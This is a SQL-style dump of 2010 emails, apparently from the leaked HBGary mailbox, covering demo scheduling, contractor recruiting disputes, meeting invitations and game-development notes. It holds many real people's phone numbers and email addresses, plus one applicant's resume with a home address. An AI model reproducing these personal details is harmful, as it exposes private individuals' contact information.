and David,&nbsp;How about 10 am on Wed 9/15? &nbsp;&nbsp;Would we meet at the SAIC office or onsite at Fort Meade?&nbsp; Odds are pretty good that we will be able to include a demo of the Threat Management Center which is the ability to automatically analyze large numbers of binaries.&nbsp; If we demo TMC it would need to be via webex as our guys working on TMC are in Colorado.&nbsp;Bob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.Office 301-652-8885 x104&nbsp; | Mobile 240-481-1419www.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com&nbsp;&nbsp;&nbsp;From:&nbsp;McGuffey, David C. [mailto:DAVID.C.MCGUFFEY@saic.com]&nbsp;Sent:&nbsp;Tuesday, September 07, 2010 8:22 AMTo:&nbsp;nolan@informationsecuritysolutionsllc.com; Bob Slapnik; Rich CummingsCc:&nbsp;McGuffey, David C.; Blake DarcheSubject:&nbsp;RE: Social Media, Exploitation, and Persistent Internet Operations&nbsp;Same here.&nbsp; I&#8217;m off Friday to take 50 of our church youth (and 10 adults) on a beach camping trip to Assateague Is. this coming weekend.&nbsp; May take Monday to recover. I have a commitment on Wed the 15th, so Tue, Thu, Fri would be best.&nbsp;Dave McGuffeyPrincipal Information Assurance Engineer // NSA-IAM, NSA-IEMScience Applications International Corp., Columbia, MD410-872-4051 (w)443.597.6402 (mobile)&nbsp;From:&nbsp;Nolan Clifford [mailto:nolan@informationsecuritysolutionsllc.com]&nbsp;Sent:&nbsp;Monday, September 06, 2010 19:23To:&nbsp;\'Bob Slapnik\'; McGuffey, David C.; \'Blake Darche\'; \'Rich Cummings\'Subject:&nbsp;RE: Social Media, Exploitation, and Persistent Internet Operations&nbsp;Week of 9/13 is much better for me&#8230;&nbsp;&nbsp;Nolan Clifford, CISSP, CFCPCEO, Information Security Solutionswww.informationsecuritysolutionsllc.com703-945-7480 &#8211;Blackberry703-869-7396 &#8211; Mobile&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Thursday, September 02, 2010 11:16 PMTo:&nbsp;nolan@informationsecuritysolutionsllc.com; \'McGuffey, David C.\'; \'Blake Darche\'; \'Rich Cummings\'Subject:&nbsp;RE: Social Media, Exploitation, and Persistent Internet Operations&nbsp;Nolan,&nbsp;Sorry, can&#8217;t do 9/9.&nbsp; Here are some days/times that work&#8230;&#8230;.9/7, 10 am or later9/10Week of 9/13 is open&nbsp;Bob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.Office 301-652-8885 x104&nbsp; | Mobile 240-481-1419www.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com&nbsp;&nbsp;&nbsp;From:&nbsp;Nolan Clifford [mailto:nolan@informationsecuritysolutionsllc.com]&nbsp;Sent:&nbsp;Thursday, September 02, 2010 9:26 PMTo:&nbsp;\'Bob Slapnik\'; \'McGuffey, David C.\'; \'Blake Darche\'; \'Rich Cummings\'Subject:&nbsp;RE: Social Media, Exploitation, and Persistent Internet Operations&nbsp;How does next Thursday the 9th&nbsp;work for everyone?&nbsp;&nbsp;Nolan Clifford, CISSP, CFCPCEO, Information Security Solutionswww.informationsecuritysolutionsllc.com703-945-7480 &#8211;Blackberry703-869-7396 &#8211; Mobile&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Thursday, September 02, 2010 3:34 PMTo:&nbsp;nolan@informationsecuritysolutionsllc.com; \'McGuffey, David C.\'; \'Blake Darche\'; \'Rich Cummings\'Subject:&nbsp;RE: Social Media, Exploitation, and Persistent Internet Operations&nbsp;Nolan, David, and Blake,&nbsp;We welcome the opportunity to deploy our software in Government spaces.&nbsp; Prior to deploying we would like to get more clear on what capabilities they need and which of our software products best fit the needs.&nbsp; What is the best next step?&nbsp; Would it be to meet with you and your Gov&#8217;t customer to match up needs and capabilities?&nbsp;The schedules for Rich and myself are remarkably open over the next few weeks.&nbsp; Please suggest a couple of days/times that work for you to get together.&nbsp;Bob Slapnik&nbsp; | &nbsp;Vice President&nbsp; |&nbsp; HBGary, Inc.Office 301-652-8885 x104&nbsp; | Mobile 240-481-1419www.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com&nbsp;&nbsp;&nbsp;From:&nbsp;Nolan Clifford [mailto:nolan@informationsecuritysolutionsllc.com]&nbsp;Sent:&nbsp;Thursday, September 02, 2010 2:14 PMTo:&nbsp;\'McGuffey, David C.\'; \'Blake Darche\'; Rich Cummings; Bob SlapnikSubject:&nbsp;RE: Social Media, Exploitation, and Persistent Internet Operations&nbsp;Great idea Dave.&nbsp;Rich and Bob &#8211; Any thoughts on this concept?&nbsp;Thanks,Nolan&nbsp;&nbsp;Nolan Clifford, CISSP, CFCPCEO, Information Security Solutionswww.informationsecuritysolutionsllc.com703-945-7480 &#8211;Blackberry703-869-7396 &#8211; Mobile&nbsp;From:&nbsp;McGuffey, David C. [mailto:DAVID.C.MCGUFFEY@saic.com]&nbsp;Sent:&nbsp;Thursday, September 02, 2010 11:17 AMTo:&nbsp;nolan@informationsecuritysolutionsllc.com; Blake DarcheCc:&nbsp;McGuffey, David C.Subject:&nbsp;RE: Social Media, Exploitation, and Persistent Internet Operations&nbsp;Nolan,&nbsp;How do we get a demo copy of the HBGary stuff for Blake to test over at Gov&#8217;t spaces?&nbsp;Once we get a lab here, we should be testing out their stuff here&#8230;but in the meantime, Blake should get a shot at it over there.&nbsp;Dave McGuffeyPrincipal Information Assurance Engineer // NSA-IAM, NSA-IEMScience Applications International Corp., Columbia, MD410-872-4051 (w)443.597.6402 (mobile)&nbsp;From:&nbsp;Nolan Clifford [mailto:nolan@informationsecuritysolutionsllc.com]&nbsp;Sent:&nbsp;Wednesday, September 01, 2010 17:10To:&nbsp;McGuffey, David C.; Blake DarcheSubject:&nbsp;FW: Social Media, Exploitation, and Persistent Internet Operations&nbsp;FYI&nbsp;&nbsp;Nolan Clifford, CISSP, CFCPCEO, Information Security Solutionswww.informationsecuritysolutionsllc.com703-945-7480 &#8211;Blackberry703-869-7396 &#8211; Mobile&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, September 01, 2010 2:32 PMSubject:&nbsp;Social Media, Exploitation, and Persistent Internet Operations&nbsp;The rise of the social web has created an entirely new set of useful technologies and security vulnerabilities. &nbsp;It is our experience that most individuals and organizations understand there are risks to using social media but don\'t understand the full extent, from what types of use, what the real risks are, or how the vulnerabilities can be fully exploited, and how to effectively protect themselves.HBGary Federal has extensive experience in social media technologies, how to use these tools effectively, what the risks are to information exposure and exploitation, and how to more effectively protect yourself and your organization. &nbsp;We feel this is an area that needs more attention and understanding quickly as the commercial social media platforms provide to much easy opportunities for threats.Attached is our training brochure for our online and in-class social media training programs, 1/2 and full day. &nbsp;We also offer a tailored training program that is preceded by a social media penetration test. &nbsp;The information gathered during the pen test is provided in a before and after information exposure report as well as the information is used to tailor the training program to make it as relevant as possible to the organization.Visit our training web page to review and sign up for one of our online training classes or send an email to schedule in-class room training. &nbsp;You can also follow us on twitter to receive regular updates &nbsp;or become a fan of our Facebook page.Web:&nbsp;training.hbgaryfederal.comTwitter: HBGaryFedFacebook: HBGary FederalEmail:&nbsp;training@hbgaryfederal.comNo virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.851 / Virus Database: 271.1.1/3108 - Release Date: 09/02/10 02:34:00No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.851 / Virus Database: 271.1.1/3110 - Release Date: 09/02/10 14:50:00No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.851 / Virus Database: 271.1.1/3112 - Release Date: 09/06/10 14:34:00No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.851 / Virus Database: 271.1.1/3135 - Release Date: 09/14/10 14:34:00&nbsp;',10010,'aaron_hbgary_com/10010.html'),(11938,'2010-09-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008899.M591381P14101Q6793.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Coincidence?','I just spoke with Furman.\r\n\r\nBefore he left for lunch yesterday, Matt told Cal \"hey, I\'m going to\r\ngo meet with someone for lunch to talk about opportunities, wanna\r\ncome?\".  Cal said \"I\'d rather prefer that if they are really\r\ninterested in me, that they come to me directly\".\r\n\r\nAaron Spring, Aaron Brown, Andy (security guy), Asa were ALL at lunch\r\nyesterday and saw me Matt & Jeremiah at lunch.\r\n\r\nWhen Matt and J got back from lunch they were led into a room and were\r\nasked what they were talking with me about, etc, etc.  Matt & J said\r\nwe were talking about their movie things, Ted knows a lot of people,\r\nhooked us up with a VC (which is true).\r\n\r\nMatt believes both Tawny and Joy will soon be removed from the\r\ncontract -- no facts, just a gut (and hearsay I guess).\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',8918,'aaron_hbgary_com/8918.html'),(11939,'2010-09-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008899.M840964P14101Q6794.eml','\"Ted Vera\" <ted@hbgary.com>','Call list','I can\'t find the roster.\r\n\r\nAaron\r\n\r\n\r\n',12165,'aaron_hbgary_com/12165.html'),(11940,'2010-09-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008900.M262228P14101Q6796.eml','\"Aaron Spring\" <aspring@springdesigngroup.com>','Offer','Aaron,\r\n\r\nThere is unfortunately in this circumstance no better way that I can do this.  I know your in a tough spot, you all are.  Your leadership has taken the fear and intimidation route instead of using better leadership through innovation and inspiration.  I know we spoke a while back and you were on board, we have delayed in getting out offer letters waiting for the RFP and negotiating with the prime when and who to hire, the proposal is now imminent.  Please know that none of the customer will question your loyalty to the mission if you sign a contingent offer, in fact it shows that no matter what you are trying to take care of yourself and want to stay with this mission.  Government is not wedded to any specific company just a capability and your overall capability has been sagging.  John doesn\'t care if you sign contingent offers with other teams, what he would not want you to do was do something that was detrimental to the mission, like what your current leadership is doing by using fear and intimidation.  Your upper management knows how this drill works if your current ignorant local management doesn\'t.  You always try to recruit key personnel form the incumbent to lower risk.  Kathy and Dale have done that a 100 times.  Your management is using fear and intimidation to try and keep people form talking with us and it is just sickening.  Is SAIC/NG that insecure in their offering that is what they have to resort to?  Following people to lunch, as if those people have no right to talk with me or Ted!  It makes me very angry the position they are putting you all in.  Bottom line I am going to win this contract and if you had a chance to see my team and strategy you would agree.  Remember its not about size, its about innovation and focus on delivering the best capability for the customer.\r\n\r\nYou know me, you know what I am capable of, you also know your current team and its position with the customer.  I can only imagine what they might tell you.  I am not sure if you are aware but I have my badge back and speak with the customer regularly.  I feel confident I know better than anyone how to make their mission more successful and how to tell that story in the proposal.\r\n\r\nIt is your choice.  If you are still interested I will have a confidentiality agreement and contingent offer in your inbox by monday.  This will secure you a leadership position on this amazing team (you will be amazed at this team).  If I don\'t hear from you I will assume that I have missed my window and I will look elsewhere to fill the position.  If I do hear from you we can exchange documents and we do not need to really communicate past that unless you want to.  I am very sorry for your situation.  I won\'t send you another email after this one unless requested.\r\n\r\nAaron it has been a pleasure to work with you, and I truly wish you the best.\r\n\r\nAaron\r\n\r\nP.S.  Greg and I are working on a game that takes advantage of location, social, and virtual.  He has a developer and artist working some of the first pieces now.  Hopefully that will grow.  its a great concept.',2528,'aaron_hbgary_com/2528.html'),(11941,'2010-09-18','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297008900.M487138P14101Q6797.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Wow','\r\n\r\n\r\n\r\n\r\nRE: Wow\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nI\'m working a scenario at TASC.&nbsp; Is there any way I hire them and we (both companies) use them part time for work?&nbsp; If I can cover them 50% we can hire knowing they will transition to ROMAS.&nbsp; Let\'s talk next week to develop some work out at the Springs.&nbsp; I don\'t want NC intimidation techniques to ruin the possibility of continuing the work.\r\n\r\nTawny is first on my list, but if we can get the whole or part of the team, I am all for it.\r\n\r\nLet me know what you think.&nbsp; I am available to talk Sunday afternoon if you like.\r\n\r\nChris&nbsp;&nbsp;\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Fri 9/17/2010 10:27 PM\r\nTo: Clair, Chris (TASC); Garcia, Kathy (TASC)\r\nSubject: Wow\r\n\r\nThe NG local leadership followed a few employees to lunch across the street.&nbsp; Those employees were meeting with Ted.&nbsp; When they got back they were lectured and harassed about talking with us, how that might be perceived.&nbsp; They know we are actively recruiting and they&nbsp; are using fear and intimidation on their employees.&nbsp; Unbelievable.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n',2377,'aaron_hbgary_com/2377.html'),(11942,'2010-09-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008900.M53957P14101Q6795.eml','\"Chris Clair\" <CHRISTOPHER.CLAIR@tasc.com>,\"Kathy Garcia\" <KATHERINE.GARCIA@tasc.com>','Wow','The NG local leadership followed a few employees to lunch across the street.  Those employees were meeting with Ted.  When they got back they were lectured and harassed about talking with us, how that might be perceived.  They know we are actively recruiting and they  are using fear and intimidation on their employees.  Unbelievable.\r\n\r\nAaron',15639,'aaron_hbgary_com/15639.html'),(11943,'2010-09-18','\"Windle, Amanda J\" <Amanda.Windle@ManTech.com>','/aaron@hbgary.com/new/1297008900.M711438P14101Q6798.eml','\"Garvie, David Ian\" <David.Garvie@ManTech.com>,\"Martin, Scott D\" <Scott.Martin@ManTech.com>,\"Simpson, Patrick B\" <Patrick.Simpson@ManTech.com>,\"Gage, Jeremy R\" <Jeremy.Gage@ManTech.com>,\"Swallows, Jason P\" <Jason.Swallows@ManTech.com>,\"Hughes, Michael Sean\" <Michael.Hughes@ManTech.com>,\"Geyster, Christopher R\" <Christopher.Geyster@ManTech.com>,\"Windle, Amanda J\" <Amanda.Windle@ManTech.com>,aaron@HBGary.com,\"Ott, Stephen D\" <Stephen.Ott@ManTech.com>,\"Zimmerman, Penny L\" <Penny.Zimmerman@ManTech.com>,\"Grays, Cheryl D\" <Cheryl.Grays@ManTech.com>,\"Contee, Maxine E\" <Maxine.Contee@ManTech.com>,\"Thompson, Linda L\" <Linda.Thompson@ManTech.com>,Leo.chambliss@macb.com,james.berman@inceptre.com,kathyrondon@aol.com,jason.syversen@siegetechnologies.com,\"Harris, Rachel A\" <Rachel.Harris@ManTech.com>,obrienp@thebuffalogroup.com,schleep@thebuffalogroup.com,\"Mentzer, Justin C\" <Justin.Mentzer@ManTech.com>,\"A. Justin Wilder\" <justin.wilder@siegetechnologies.com>,\"Garvie, David Ian\" <David.Garvie@ManTech.com>','Canceled: Gatorbait Daily Standup','\r\n\r\n\r\n\r\n\r\nCanceled: Gatorbait Daily Standup\r\n\r\n\r\n\r\n\r\nWhen: Sunday, September 19, 2010 9:00 AM-9:30 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 7799 Leesburg Pike, 1st Floor Proposal Center and Telecon\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nNo weekend standups.&nbsp; Will resume on Monday, 20 September\r\n\r\nYou are invited to attend a ManTech International Corporation iMeeting (Event ID: 8211036). \r\n\r\nTo connect to the Web Conference: \r\n\r\n============================= \r\n\r\nClick here: https://conference.mantech.com/mic/meet/?ExEventID=8211036 Use the above link also with your iPhone or BlackBerry 9000. \r\n\r\nTo install AT&amp;T Connect on your BlackBerry 9000: http://downloads.uc.att.com/BB/Public/Latest/En/KB/att_connect.jad To install AT&amp;T Connect on your iPhone: http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware?id=318798264&amp;mt=8 *Blackberry : 888-621-9644x8211036 To connect with your *TELEPHONE ONLY* (no computer): \r\n\r\n============================================== \r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dial the number of the location closest to you: \r\n\r\n\r\nManTech Conference Number:&nbsp; 1-888-621-9644 (Toll Free:&nbsp; yes) \r\n\r\nTo see the complete list of dial-in access numbers https://conference.mantech.com/mic/default.asp?Target=DialInInformation&amp;ExternalEventID=8211036&amp;eventServiceClass=0\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; When prompted, enter the Event Number:&nbsp; 8211036 \r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; While connected: \r\n\r\n\r\nTo mute/un-mute your phone, dial *6 \r\n\r\nTo learn other telephone commands, dial *9 \r\n\r\n\r\n\r\nPowered by AT&amp;T Connect. \r\n\r\n\r\n\r\n\r\n',11028,'aaron_hbgary_com/11028.html'),(11944,'2010-09-18','\"Windle, Amanda J\" <Amanda.Windle@ManTech.com>','/aaron@hbgary.com/new/1297008900.M931308P14101Q6799.eml','\"Garvie, David Ian\" <David.Garvie@ManTech.com>,\"Martin, Scott D\" <Scott.Martin@ManTech.com>,\"Simpson, Patrick B\" <Patrick.Simpson@ManTech.com>,\"Gage, Jeremy R\" <Jeremy.Gage@ManTech.com>,\"Swallows, Jason P\" <Jason.Swallows@ManTech.com>,\"Hughes, Michael Sean\" <Michael.Hughes@ManTech.com>,\"Geyster, Christopher R\" <Christopher.Geyster@ManTech.com>,\"Windle, Amanda J\" <Amanda.Windle@ManTech.com>,aaron@HBGary.com,\"Ott, Stephen D\" <Stephen.Ott@ManTech.com>,\"Zimmerman, Penny L\" <Penny.Zimmerman@ManTech.com>,\"Grays, Cheryl D\" <Cheryl.Grays@ManTech.com>,\"Contee, Maxine E\" <Maxine.Contee@ManTech.com>,\"Thompson, Linda L\" <Linda.Thompson@ManTech.com>,Leo.chambliss@macb.com,james.berman@inceptre.com,kathyrondon@aol.com,jason.syversen@siegetechnologies.com,\"Harris, Rachel A\" <Rachel.Harris@ManTech.com>,obrienp@thebuffalogroup.com,schleep@thebuffalogroup.com,\"Mentzer, Justin C\" <Justin.Mentzer@ManTech.com>,\"A. Justin Wilder\" <justin.wilder@siegetechnologies.com>,\"Garvie, David Ian\" <David.Garvie@ManTech.com>','Gatorbait Daily Standup','\r\n\r\n\r\n\r\n\r\nGatorbait Daily Standup\r\n\r\n\r\n\r\n\r\nWhen: Occurs every day effective 9/3/2010 until 9/22/2010 from 9:00 AM to 9:30 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 7799 Leesburg Pike, 1st Floor Proposal Center and Telecon\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nYou are invited to attend a ManTech International Corporation iMeeting (Event ID: 8211036). \r\n\r\nTo connect to the Web Conference: \r\n\r\n============================= \r\n\r\nClick here: https://conference.mantech.com/mic/meet/?ExEventID=8211036 Use the above link also with your iPhone or BlackBerry 9000. \r\n\r\nTo install AT&amp;T Connect on your BlackBerry 9000: http://downloads.uc.att.com/BB/Public/Latest/En/KB/att_connect.jad To install AT&amp;T Connect on your iPhone: http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware?id=318798264&amp;mt=8 *Blackberry : 888-621-9644x8211036 To connect with your *TELEPHONE ONLY* (no computer): \r\n\r\n============================================== \r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dial the number of the location closest to you: \r\n\r\n\r\nManTech Conference Number:&nbsp; 1-888-621-9644 (Toll Free:&nbsp; yes) \r\n\r\nTo see the complete list of dial-in access numbers https://conference.mantech.com/mic/default.asp?Target=DialInInformation&amp;ExternalEventID=8211036&amp;eventServiceClass=0\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; When prompted, enter the Event Number:&nbsp; 8211036 \r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; While connected: \r\n\r\n\r\nTo mute/un-mute your phone, dial *6 \r\n\r\nTo learn other telephone commands, dial *9 \r\n\r\n\r\n\r\nPowered by AT&amp;T Connect. \r\n\r\n\r\n\r\n\r\n',12517,'aaron_hbgary_com/12517.html'),(11945,'2010-09-18','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008909.M15363P14101Q6800.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Martin Pillion\" <martin@hbgary.com>','scale and concept art (captains of industry)',' \r\nSee attached.\r\n \r\nThe basic house sketches are stone and wood and follow the art style used in torchlight.  The rustic looking wood houses would be for frontier areas.  The less rustic looking ones could be packed together in an urban environment.\r\n\r\n \r\nThe scale mockups show relative building sizes - this requires a bit more explanation.  In pic 1 you see a building scaled to about the size of the torchlight buildings seen in pic 2.  These buildings are too small to walk inside of if we use the WoW near-first-person camera system (the camera goes inside the building with you, this is how WoW works).  So, in pic 1, we show the building with the roof removed.  In that mode, you can now walk inside and there is enough room for a characters in the small building (as illustrated).  In pic 3 we have a building scaled to the size of WoW - you can see an actual WoW building in pic 5.  The WoW system lets you go inside a building but the camera also goes inside with you, you can see the character in pic 4 is inside the building with his back to the door and the camera is inside.\r\n\r\n \r\nMikiya and I looked at these for about an hour, testing camera angles and look/feel.  We concluded that the system with the removable roof (pic 1) would work best for Captains of Industry.  The reason is that buildings are a primary part of the game play, players want to see their buildings, and zoomed out at the level shown in torchlight (pic 2) they can easily see the entire building and also interact with it (click on it).  With the removable roof, we can still have NPC characters and player characters inside the building - expanding possibilities for game play.  If we went with the buildings being scaled as in WoW, the player would have to zoom much further out to see their buildings in this manner - this would cause the player character model to be very small on the screen, much much smaller than that shown in torchlight (pic 2).  The conclusion was that the character model would end up too small if we scaled to WoW proportions.\r\n\r\n \r\nIn case it isn&#39;t clear, the removable roof system means the roof becomes transparent if the character walks inside the building (raytrace from camera to toon intersects the roof (removeable mesh)) - the building looks normal when the character is not standing inside of it.  BTW, this is how Diablo III works with most of it&#39;s dungeons.\r\n\r\n \r\nok - enuf for now, I&#39;m going fishing....\r\n \r\n-Greg \r\n',16105,'aaron_hbgary_com/16105.html'),(11946,'2010-09-18','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008909.M855170P14101Q6801.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','new programmer to join gunwale games team',' \r\nAaron, Bob,\r\n \r\nI am bringing a programmer on board next wednesday.\r\n \r\nHere is his resume:\r\n \r\n\r\n\r\nJOHN MICHAEL RANSOM\r\n1235 Wildwood Ave #94              Sunnyvale, CA 94089           (650) 274-1577           johnmr@ncc1701d.net \r\n\r\nEDUCATION \r\n      The Art Institute of California-San Francisco       California State University, Sacramento, CA\r\n      B.S., Visual and Game Programming, March 2008     B.S., Computer Engineering, May 1997 \r\nEXPERIENCE\r\nPC Game Programmer, Cryptic Studios,  Los Gatos, CA    4/09-7/10 \r\n\r\nIn a team environment programmed Star Trek Online for the PC in C. \r\nProgrammed the character costume creator and the ship appearance customizer. \r\nProgrammed features for the in game fleet system including fleet event scheduling. \r\nProgrammed supporting code for having different in game species. \r\nProgrammed many UI elements using an internal scripting language. \r\nProgrammed the random name generator.  \r\nGame Console Programmer Consultant, Dark VooDoo,  San Francisco, CA  10/05-3/09\r\n\r\nWorked as a consultant for a startup company. Telecommuted three to four days a week. \r\nProgrammed 3D interface for World Editor tool and world object code on PC in C++. \r\nProgrammed sound editor tool on PC and sound object code in C++. \r\nProgrammed the library controller code, audio code and save game memory code for the Wii in C. \r\nIn a team environment, ported PurrPals from Nintendo DS to the Wii. It was written in C. \r\nFor this game programmed three new mini games. \r\nRemade the other mini games for the Wii using the WiiRemote motion sensor. \r\nUsing the company library programmed Mahjong and Foosball for WiiWare in C. \r\nMaking these involved AI, Physics (Bullet Physics), Gameplay and Graphics programming.  \r\nGame Console Programmer, Page 44 (989 Sports &amp; Sony),  San Francisco, CA      2/04-9/05\r\n\r\nIn team environment, programmed Gretzky NHL 2005/2006 for Playstation 2 and Portable in C. \r\nProgrammed HUD and front end. \r\nContributed to memory card code and network code.  \r\nGame Console Programmer, 3DO,  Redwood City, CA      8/00-2/01\r\n\r\nIn team environment, programmed WDL: Thundertanks for Playstation 2 in C. 3/02-5/03 \r\nFor this programmed HUD, 3D sound, localization for Europe, and some front end. \r\nWorked on unreleased titles on Playstation 2, GameCube, and Xbox in C++. \r\nFor these programmed sound, movie player and localization code. \r\nProgrammed HUD and 3D in-game menus. \r\nProgrammed asynchronous file loading for asynchronous loading of data during game play.  \r\nGame Console Programmer,  Konami, Redwood City, CA    3/01-2/02\r\n\r\nIn a team environment, programmed Frogger: The Great Quest for Playstation 2 in C++. \r\nProgrammed file system to asynchronously uncompress data as it loads. \r\nProgrammed PS2 movie player and made it playable to texture. \r\nProgrammed the font engine.  \r\nSystems Programmer,  Synergex, Gold River, CA     6/97-8/00\r\n\r\nIn a team environment, ported PVCS to different platforms. PVCS was written in C, C++ and Java. \r\nHelped with PVCS support calls, and did research into portability issues. \r\nDeveloped code using Unix Script, and Configuration Builder to make porting process easier. \r\nPerformed some on site consulting for Synergex customers.  \r\nAFFILIATIONS &amp; ACCOMPLISHMENTS\r\n      * Toastmasters International, CTM Award\r\n      * Eagle Scout, Boy Scouts of America\r\n',2061,'aaron_hbgary_com/2061.html'),(11947,'2010-09-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008910.M312437P14101Q6803.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: need help with modeling speed expectations','Can Jeremiah do better?Sent from my iPhoneBegin forwarded message:From: Greg Hoglund &lt;greg@hbgary.com&gt;\r\nDate: September 18, 2010 7:54:52 PM EDTTo: Bob Slapnik &lt;bob@hbgary.com&gt;, Aaron Barr &lt;aaron@hbgary.com&gt;Subject: need help with modeling speed expectations\r\n \r\nAaron, Bob,\r\n \r\nI am stressed a little bit because Mikiya is a bit slower than I expected he would be.  He will be taking many days to complete a 3-D model...  we won&#39;t finish if that is the case...\r\n \r\nHere is an email I wrote to him:\r\n \r\n---&gt; snip\r\nI have done some math.  With overhead, you cost me about $160/day.  I plan to spend about $20,000 on you over the first phase of this work.  You should put some thought into this - I think we need around 100 models.  This means that each model should cost about $200 dollars.  Obviously this is contrived - some models will take longer and some will be quick.  But, on average, that means you would need to produce a new model approximately 1 per day.  I know that you said 2 days for a character, and 5 days for the first house.  Can you explore this idea of doing 1 model per day - maybe by re-using basic components or by modifying an existing model you can get production up to 1 model per day?\r\n\r\n We probably need at least 50 house/building models - many will be variations of each other.  We will need about 20 characters all based on human but with differing outfits, height, weight, and such.  These character models will need 10 interchangeable hair styles, and at least 20 different costume sets - these hair and costume sets are just sub-models swappable on the character.  Finally, we need tiles for terrain.  We need a city tile set and a wilderness tile set - these should have around 6+ weldable tiles, some w/ roads and some without.  If you count all this up it should be around 100 models give or take.  If you could do one model per day it would be close...\r\n\r\n Please think about this.  There might be ways to make this work, but you can&#39;t build every model from scratch and take 3-4 days on each one if we are to make the deadline.  \r\n \r\n&lt;--- end snip\r\n \r\nDo you think my head is screwed on right, or that we just can&#39;t do this on the initial 50 grand budget?  I don&#39;t know how mikiya will respond to this 1 model per day request yet.  Also, do you think 100 models is reasonable, or do you think we can get by w/ less?  Or, do you think we need more than 100 models?\r\n\r\n\r\n \r\nAs you should be sensing, it is very important to me to stack the deck towards success, I don&#39;t want to waste $50k and have an incomplete project at the end we cannot demo...\r\n \r\n-Greg\r\n\r\n',11698,'aaron_hbgary_com/11698.html'),(11948,'2010-09-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008910.M792208P14101Q6804.eml','\"Aaron Spring\" <aspring@springdesigngroup.com>','Re: Offer','Sorry one more because I am guessing your not aware.  NG attempt to\r\nmake the contract sole source didn\'t work.  I spoke with John when he\r\nnotified me HBGary federal was being added to the bidders list.  The\r\ncontract is going to be broken into four categories and each competed\r\nseparately.  If your not aware of this you should be and good\r\nmanagement would keep u aware because it\'s your life.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 17, 2010, at 10:36 PM, Aaron Barr  wrote:\r\n\r\n> Aaron,\r\n>\r\n> There is unfortunately in this circumstance no better way that I can do this.  I know your in a tough spot, you all are.  Your leadership has taken the fear and intimidation route instead of using better leadership through innovation and inspiration.  I know we spoke a while back and you were on board, we have delayed in getting out offer letters waiting for the RFP and negotiating with the prime when and who to hire, the proposal is now imminent.  Please know that none of the customer will question your loyalty to the mission if you sign a contingent offer, in fact it shows that no matter what you are trying to take care of yourself and want to stay with this mission.  Government is not wedded to any specific company just a capability and your overall capability has been sagging.  John doesn\'t care if you sign contingent offers with other teams, what he would not want you to do was do something that was detrimental to the mission, like what your current leadership is doing by using fear and intimidation.  Your upper management knows how this drill works if your current ignorant local management doesn\'t.  You always try to recruit key personnel form the incumbent to lower risk.  Kathy and Dale have done that a 100 times.  Your management is using fear and intimidation to try and keep people form talking with us and it is just sickening.  Is SAIC/NG that insecure in their offering that is what they have to resort to?  Following people to lunch, as if those people have no right to talk with me or Ted!  It makes me very angry the position they are putting you all in.  Bottom line I am going to win this contract and if you had a chance to see my team and strategy you would agree.  Remember its not about size, its about innovation and focus on delivering the best capability for the customer.\r\n>\r\n> You know me, you know what I am capable of, you also know your current team and its position with the customer.  I can only imagine what they might tell you.  I am not sure if you are aware but I have my badge back and speak with the customer regularly.  I feel confident I know better than anyone how to make their mission more successful and how to tell that story in the proposal.\r\n>\r\n> It is your choice.  If you are still interested I will have a confidentiality agreement and contingent offer in your inbox by monday.  This will secure you a 